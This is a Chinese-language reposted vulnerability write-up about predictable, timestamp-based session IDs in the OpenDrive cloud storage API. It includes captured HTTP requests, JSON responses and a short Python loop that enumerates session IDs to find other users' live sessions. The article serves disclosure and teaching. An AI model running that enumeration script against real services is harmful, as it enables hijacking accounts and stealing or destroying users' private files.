溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

發(fā)現(xiàn)OpenDrive云存儲(chǔ)平臺(tái)的會(huì)話機(jī)制漏洞的示例分析

發(fā)布時(shí)間:2021-12-22 18:03:10 來(lái)源:億速云 閱讀:163 作者:柒染 欄目:安全技術(shù)

發(fā)現(xiàn)OpenDrive云存儲(chǔ)平臺(tái)的會(huì)話機(jī)制漏洞的示例分析,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來(lái)學(xué)習(xí)下,希望你能有所收獲。

最近在對(duì)比云存儲(chǔ)解決方案時(shí),我驚訝地發(fā)現(xiàn)很多公司仍然在提供無(wú)限量云端數(shù)據(jù)存儲(chǔ)服務(wù)方案,像OpenDrive公司就是這樣(注意別和OpenDRIVE格式規(guī)范混淆),OpenDrive公司專為個(gè)人、商業(yè)團(tuán)體和公司企業(yè)提供無(wú)限存儲(chǔ)方案。

除了傳統(tǒng)的云存儲(chǔ)功能外,OpenDrive還以軟件客戶端和移動(dòng)APP的應(yīng)用形式,為使用客戶提供存儲(chǔ)備份和內(nèi)容管理解決方案,據(jù)OpenDrive官網(wǎng)介紹,包括T-Mobile、Ancestry.com和REMAX在內(nèi)的很多知名公司,都是其客戶群體。

發(fā)現(xiàn)

我通過(guò)網(wǎng)頁(yè)客戶端,注冊(cè)了一個(gè)OpenDrive的試用賬戶進(jìn)行測(cè)試。在上傳了一些測(cè)試文件之后,我留意查看了其標(biāo)記和API請(qǐng)求后發(fā)現(xiàn),OpenDrive公司網(wǎng)站架構(gòu)為WordPress,而且包括樣式、登錄和API使用等很多地方都有明顯定制化開發(fā)的痕跡。

發(fā)現(xiàn)OpenDrive云存儲(chǔ)平臺(tái)的會(huì)話機(jī)制漏洞的示例分析

我還通過(guò)HTTP代理注意到,在整個(gè)存儲(chǔ)過(guò)程中,存儲(chǔ)機(jī)制會(huì)對(duì)兩個(gè)API服務(wù)端發(fā)起調(diào)用,一個(gè)是www開頭且用cookie進(jìn)行驗(yàn)證的子域名服務(wù)端,另一個(gè)是如下以web開頭并用單獨(dú)的 session ID 進(jìn)行驗(yàn)證的API服務(wù)端:

GET https://web.opendrive.com/api/v1/download/file.json/ABC123***REMOVED***?session_id=1517592191112474005&inline=0&preview=1 HTTP/1.1
Host: web.opendrive.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

注意上述GET請(qǐng)求中session_id中的值:

session_id=1517592191 112474005

這個(gè)值與Unix系統(tǒng)下的時(shí)間戳有些類似,它極有可能是用戶初始登錄請(qǐng)求時(shí)的時(shí)間點(diǎn)轉(zhuǎn)化過(guò)來(lái)的信息---不太好是吧!實(shí)際上,前10個(gè)數(shù)字就是從我賬戶首次登錄時(shí)的 日期/時(shí)間(data/time)信息轉(zhuǎn)化過(guò)來(lái)的。

發(fā)現(xiàn)OpenDrive云存儲(chǔ)平臺(tái)的會(huì)話機(jī)制漏洞的示例分析

上面session_id中剩下的9位數(shù)字可能只是相同登錄時(shí)間下的其它更精確的生成值,例如來(lái)自服務(wù)器端函數(shù),如PHP的microtime中生成的毫秒。我嘗試通過(guò)連續(xù)發(fā)出大量登錄請(qǐng)求,來(lái)比較生成的session_id值進(jìn)行驗(yàn)證,正如預(yù)測(cè)的那樣,這些數(shù)字都是連續(xù)的時(shí)間值。

接下來(lái),我決定看看這種會(huì)話機(jī)制是如何使用的,它對(duì)OpenDrive’產(chǎn)品的安全性影響如何。由于網(wǎng)頁(yè)客戶端對(duì)該API的調(diào)用功能有限,所以我在測(cè)試手機(jī)上安裝了一個(gè)OpenDrive的安卓應(yīng)用APP。

發(fā)現(xiàn)OpenDrive云存儲(chǔ)平臺(tái)的會(huì)話機(jī)制漏洞的示例分析

在測(cè)試手機(jī)上部署好請(qǐng)求代理之后,我就登錄了自己的OpenDrive賬戶,開始瀏覽文件、移動(dòng)文件夾、訪問(wèn)我賬戶下的其它信息。經(jīng)過(guò)觀察,我發(fā)現(xiàn),所有API服務(wù)端都使用了相同的,且存在漏洞缺陷的以下session_id生成機(jī)制,如以下請(qǐng)求示例:

GET https://ai2.opendrive.com/api/v1/users/info.json/1517592191112474005 HTTP/1.1session_id: 1517592191112474005Host: ai2.opendrive.comConnection: Keep-AliveAccept-Encoding: gzipUser-Agent: okhttp/3.7.0

上述請(qǐng)求發(fā)起來(lái),返回了相應(yīng)的JSON響應(yīng)如下:

{
 "UserID": 1853669,
 "AccessUserID": 0,
 "UserName": "***REMOVED***",
 "UserFirstName": "***REMOVED***",
 "UserLastName": "***REMOVED***",
 "PrivateKey": "***REMOVED***",
 "Trial": "0",
 "UserSince": "1517591533",
 "BwResetLast": "1517591533",
 "AccType": "1",
 "MaxStorage": "5120",
 "StorageUsed": "361144",
 "BwMax": "1024",
 "BwUsed": "0",
 "FVersioning": "0",
 "FVersions": "10",
 "DailyStat": 0,
 "UserLang": "en",
 "MaxFileSize": "102400",
 "Level": "1",
 "UserPlan": "Basic Plan",
 "TimeZone": "America\/Los_Angeles",
 "MaxAccountUsers": "1",
 "IsAccountUser": 0,
 "CompanyName": "",
 "Email": "***REMOVED***",
 "Phone": "",
 "Avatar": null,
 "AvatarColor": "a38f84",
 "AdminMode": 1,
 "DueDate": "0000-00-00",
 "WebLink": "",
 "PublicProfiles": 0,
 "RootFolderPermission": 2,
 "CanChangePwd": 1,
 "IsPartner": 0,
 "Partner": "OpenDrive",
 "SupportUrl": "http:\/\/support.opendrive.com",
 "PartnerUsersDomain": ".opendrive.com",
 "Suspended": false,
 "Affiliation": "0",
 "UserUID": "5ac61707c2ee6"
}

同樣的,以上信息說(shuō)明,該應(yīng)用的所有方面都應(yīng)該是由一個(gè)高度可預(yù)測(cè)且順序的“session”值來(lái)控制的。以下是獲取文件夾內(nèi)容的請(qǐng)求示例:

GET https://ai2.opendrive.com/api/v1/folder/list.json/1517592191112474005/NjlfMTA2NzgyNF93RjZaUw?last_request_time=0&offset=0 HTTP/1.1
session_id: 1517592191112474005
Host: ai2.opendrive.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.7.0

響應(yīng)結(jié)果如下:

{
 "DirUpdateTime": "1522940036",
 "Name": "Pictures",
 "ParentFolderID": "NjlfMF93RjZaUw",
 "DirectFolderLink": "https:\/\/od.lk\/fl\/NjlfMTA2NzgyNF8",
 "ResponseType": 1,
 "Folders": [],
 "Files": [{
  "FileId": "NjlfNzU3MTg2OV9RRDgxUA",
  "Name": "1337.jpg",
  "GroupID": 0,
  "Extension": "jpg",
  "Size": "5289",
  "Views": "0",
  "Version": "",
  "Downloads": "1",
  "DateModified": "1522940033",
  "Access": "2",
  "Link": "https:\/\/od.lk\/f\/NjlfNzU3MTg2OV8",
  "DownloadLink": "https:\/\/od.lk\/d\/NjlfNzU3MTg2OV8\/1337.jpg",
  "StreamingLink": "https:\/\/od.lk\/s\/NjlfNzU3MTg2OV8\/1337.jpg",
  "TempStreamingLink": "https:\/\/ai2.opendrive.com\/api\/download\/file.json\/NjlfNzU3MTg2OV8?inline=1",
  "ThumbLink": "https:\/\/ai2.opendrive.com\/api\/file\/thumb.json\/NjlfNzU3MTg2OV9RRDgxUA?session_id=19ebbbef64d8a5404cc0b16603cea3de659c607a23ae639986d5e5c477f6b5e8",
  "Password": "",
  "EditOnline": 1
 }, {
  "FileId": "NjlfNzU3MTg3MF9ZQ3NDYg",
  "Name": "test.jpg",
  "GroupID": 0,
  "Extension": "jpg",
  "Size": "51756",
  "Views": "0",
  "Version": "",
  "Downloads": "0",
  "DateModified": "1522940034",
  "Access": "2",
  "Link": "https:\/\/od.lk\/f\/NjlfNzU3MTg3MF8",
  "DownloadLink": "https:\/\/od.lk\/d\/NjlfNzU3MTg3MF8\/test.jpg",
  "StreamingLink": "https:\/\/od.lk\/s\/NjlfNzU3MTg3MF8\/test.jpg",
  "TempStreamingLink": "https:\/\/ai2.opendrive.com\/api\/download\/file.json\/NjlfNzU3MTg3MF8?inline=1",
  "ThumbLink": "https:\/\/ai2.opendrive.com\/api\/file\/thumb.json\/NjlfNzU3MTg3MF9ZQ3NDYg?session_id=19ebbbef64d8a5404cc0b16603cea3de659c607a23ae639986d5e5c477f6b5e8",
  "Password": "",
  "EditOnline": 1
 }]
}

注意了,通過(guò)分析,我發(fā)現(xiàn),在這種會(huì)話機(jī)制下,任何OpenDrive系統(tǒng)下的用戶賬戶都會(huì)被劫持,而且各自的私人文件都會(huì)被以下一段簡(jiǎn)單的腳本來(lái)實(shí)現(xiàn)獲取或破壞,這種情況很難認(rèn)為它是一個(gè)漏洞,也不會(huì)覺(jué)得是一種根本的設(shè)計(jì)缺陷。

url = "https://ai2.opendrive.com/api/v1/users/info.json"
session = 1517592191112474005
while True:
    f_url = "{}/{}".format(url, session)
    r = requests.get(f_url)
    if r.status_code == 200:
        print(f_url)
    session -= 1

漏洞利用場(chǎng)景

這種會(huì)話機(jī)制的風(fēng)險(xiǎn)顯而易見(jiàn),但主要存在兩種攻擊場(chǎng)景:一是有適度資源支持的攻擊者可以輕易地探測(cè)到系統(tǒng)中有效的其它用戶會(huì)話;二是針對(duì)單個(gè)用戶的定向攻擊只需知道用戶的大概登錄時(shí)間,這縮小了攻擊者的會(huì)話查找范圍。其它風(fēng)險(xiǎn)隱患:

會(huì)話不會(huì)過(guò)期,OpenDrive系統(tǒng)下我二月份測(cè)試的會(huì)話在三月份仍然有效;

每次登錄都會(huì)生成一個(gè)新的會(huì)話,這也意味著,任何給定用戶會(huì)存在多種會(huì)話條目;

存在漏洞的會(huì)話機(jī)制不只存在于安卓 APP/客戶端,一樣存在于網(wǎng)頁(yè)和桌面系統(tǒng)的其它客戶端中,實(shí)際上也就是說(shuō),所有OpenDrive用戶都會(huì)受到影響。

不清楚在之前的OpenDrive的緩解措施中,這種會(huì)話還存在多少,但可以肯定的是,這確實(shí)是一個(gè)安全威脅。

看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝您對(duì)億速云的支持。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI